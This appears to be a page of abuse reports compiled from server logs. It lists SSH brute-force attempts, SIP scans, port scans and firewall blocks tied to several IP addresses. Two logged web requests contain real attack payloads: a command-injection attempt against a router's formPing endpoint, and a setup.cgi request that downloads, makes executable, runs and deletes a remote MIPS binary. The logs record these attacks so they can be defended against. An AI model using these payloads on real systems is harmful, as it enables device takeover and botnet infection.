May 30 09:13:31 ip-172-31-61-156 sshd[30774]: Invalid user oracle from 37.49.226.23
May 30 09:13:31 ip-172-31-61-156 sshd[30774]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23
May 30 09:13:31 ip-172-31-61-156 sshd[30774]: Invalid user oracle from 37.49.226.23
May 30 09:13:32 ip-172-31-61-156 sshd[30774]: Failed password for invalid user oracle from 37.49.226.23 port 33042 ssh2
May 30 09:13:37 ip-172-31-61-156 sshd[30777]: Invalid user debian from 37.49.226.23
...

Invalid user oracle from 37.49.226.23 port 59690

May 28 22:37:29 h2779839 sshd[28460]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
May 28 22:37:31 h2779839 sshd[28460]: Failed password for root from 37.49.226.23 port 52392 ssh2
May 28 22:37:37 h2779839 sshd[28462]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
May 28 22:37:39 h2779839 sshd[28462]: Failed password for root from 37.49.226.23 port 33948 ssh2
May 28 22:37:44 h2779839 sshd[28464]: Invalid user oracle from 37.49.226.23 port 43704
May 28 22:37:44 h2779839 sshd[28464]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23
May 28 22:37:44 h2779839 sshd[28464]: Invalid user oracle from 37.49.226.23 port 43704
May 28 22:37:47 h2779839 sshd[28464]: Failed password for invalid user oracle from 37.49.226.23 port 43704 ssh2
May 28 22:37:51 h2779839 sshd[28466]: Invalid user debian from 37.49.226.23 port 
...

May 28 15:28:50 MainVPS sshd[15581]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
May 28 15:28:52 MainVPS sshd[15581]: Failed password for root from 37.49.226.23 port 38434 ssh2
May 28 15:28:57 MainVPS sshd[15613]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
May 28 15:28:59 MainVPS sshd[15613]: Failed password for root from 37.49.226.23 port 47764 ssh2
May 28 15:29:03 MainVPS sshd[15641]: Invalid user oracle from 37.49.226.23 port 56420
...

May 27 17:46:16 vmanager6029 sshd\[23748\]: Invalid user oracle from 37.49.226.23 port 41664
May 27 17:46:24 vmanager6029 sshd\[23752\]: Invalid user debian from 37.49.226.23 port 51936
May 27 17:46:31 vmanager6029 sshd\[23772\]: Invalid user ubuntu from 37.49.226.23 port 34172

$f2bV_matches

 TCP (SYN) 37.49.226.23:38914 -> port 22, len 48

Invalid user oracle from 37.49.226.23 port 49404

SSHD unauthorised connection attempt (a)

Blocked by firewall

May 12 08:55:29 srv01 sshd[31395]: Did not receive identification string from 37.49.226.23 port 54452
May 12 08:55:33 srv01 sshd[31396]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
May 12 08:55:35 srv01 sshd[31396]: Failed password for root from 37.49.226.23 port 42520 ssh2
May 12 08:55:39 srv01 sshd[31402]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
May 12 08:55:41 srv01 sshd[31402]: Failed password for root from 37.49.226.23 port 52124 ssh2
...

May 11 23:43:29 lock-38 sshd[2261561]: Unable to negotiate with 37.49.226.23 port 59018: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 11 23:43:36 lock-38 sshd[2261563]: Unable to negotiate with 37.49.226.23 port 40632: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 11 23:43:42 lock-38 sshd[2261565]: Unable to negotiate with 37.49.226.23 port 50366: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 11 23:43:49 lock-38 sshd[2261567]: Unable to negotiate with 37.49.226.23 port 60146: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 11 23:43:55 lock-38 sshd[2261569
...

May 11 21:08:50 sigma sshd\[2740\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=rootMay 11 21:08:56 sigma sshd\[2742\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=root
...

May  6 01:06:20 XXX sshd[24926]: Invalid user oracle from 37.49.226.23 port 33080

May  4 19:39:59 v2hgb sshd[14875]: Did not receive identification string from 37.49.226.23 port 39824
May  4 19:40:02 v2hgb sshd[14891]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=r.r
May  4 19:40:04 v2hgb sshd[14891]: Failed password for r.r from 37.49.226.23 port 43800 ssh2
May  4 19:40:05 v2hgb sshd[14891]: Received disconnect from 37.49.226.23 port 43800:11: Normal Shutdown, Thank you for playing [preauth]
May  4 19:40:05 v2hgb sshd[14891]: Disconnected from authenticating user r.r 37.49.226.23 port 43800 [preauth]
May  4 19:40:10 v2hgb sshd[14898]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.23  user=r.r
May  4 19:40:12 v2hgb sshd[14898]: Failed password for r.r from 37.49.226.23 port 54198 ssh2
May  4 19:40:13 v2hgb sshd[14898]: Received disconnect from 37.49.226.23 port 54198:11: Normal Shutdown, Thank you for playing [preauth]
May  4 19:40:13 v2h........
-------------------------------

May  5 01:57:27 dev0-dcde-rnet sshd[11548]: Failed password for root from 37.49.226.23 port 43944 ssh2
May  5 01:57:34 dev0-dcde-rnet sshd[11550]: Failed password for root from 37.49.226.23 port 54184 ssh2

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Apr  9 02:54:21 h2829583 sshd[30454]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=110.35.173.103

Apr  9 07:19:32 webhost01 sshd[11324]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.160.245.87
Apr  9 07:19:34 webhost01 sshd[11324]: Failed password for invalid user deploy from 61.160.245.87 port 46210 ssh2
...

Apr  9 02:47:12 dcd-gentoo sshd[27417]: User root from 222.186.42.75 not allowed because none of user's groups are listed in AllowGroups
Apr  9 02:47:14 dcd-gentoo sshd[27417]: error: PAM: Authentication failure for illegal user root from 222.186.42.75
Apr  9 02:47:12 dcd-gentoo sshd[27417]: User root from 222.186.42.75 not allowed because none of user's groups are listed in AllowGroups
Apr  9 02:47:14 dcd-gentoo sshd[27417]: error: PAM: Authentication failure for illegal user root from 222.186.42.75
Apr  9 02:47:12 dcd-gentoo sshd[27417]: User root from 222.186.42.75 not allowed because none of user's groups are listed in AllowGroups
Apr  9 02:47:14 dcd-gentoo sshd[27417]: error: PAM: Authentication failure for illegal user root from 222.186.42.75
Apr  9 02:47:14 dcd-gentoo sshd[27417]: Failed keyboard-interactive/pam for invalid user root from 222.186.42.75 port 32398 ssh2
...

Brute force attempt

Scanned 3 times in the last 24 hours on port 22

Apr  9 06:58:25 webhost01 sshd[10760]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.75.126.115
Apr  9 06:58:27 webhost01 sshd[10760]: Failed password for invalid user oracle from 51.75.126.115 port 43426 ssh2
...

Port scan on 5 port(s): 88 7777 8080 8888 8899

detected by Fail2Ban

SSH Bruteforce attack

Apr  8 23:48:33 prox sshd[22802]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=126.36.29.9 
Apr  8 23:48:33 prox sshd[22803]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=126.36.29.9

Apr  8 21:48:14 scw-6657dc sshd[25954]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.232.145.201
Apr  8 21:48:14 scw-6657dc sshd[25954]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.232.145.201
Apr  8 21:48:16 scw-6657dc sshd[25954]: Failed password for invalid user hdduser from 49.232.145.201 port 52376 ssh2
...

CMS (WordPress or Joomla) login attempt.

2020-04-09 03:38:12 dovecot_login authenticator failed for \(User\) \[92.118.38.82\]: 535 Incorrect authentication data \(set_id=maint@org.ua\)2020-04-09 03:38:48 dovecot_login authenticator failed for \(User\) \[92.118.38.82\]: 535 Incorrect authentication data \(set_id=bobo@org.ua\)2020-04-09 03:39:20 dovecot_login authenticator failed for \(User\) \[92.118.38.82\]: 535 Incorrect authentication data \(set_id=analysis@org.ua\)
...

Automatic report - Port Scan Attack

2020-04-09T02:07:59.575757ns386461 sshd\[1648\]: Invalid user weblogic from 49.235.208.246 port 53544
2020-04-09T02:07:59.580624ns386461 sshd\[1648\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.235.208.246
2020-04-09T02:08:01.619439ns386461 sshd\[1648\]: Failed password for invalid user weblogic from 49.235.208.246 port 53544 ssh2
2020-04-09T02:13:09.876528ns386461 sshd\[6155\]: Invalid user redhat from 49.235.208.246 port 51618
2020-04-09T02:13:09.881111ns386461 sshd\[6155\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.235.208.246
...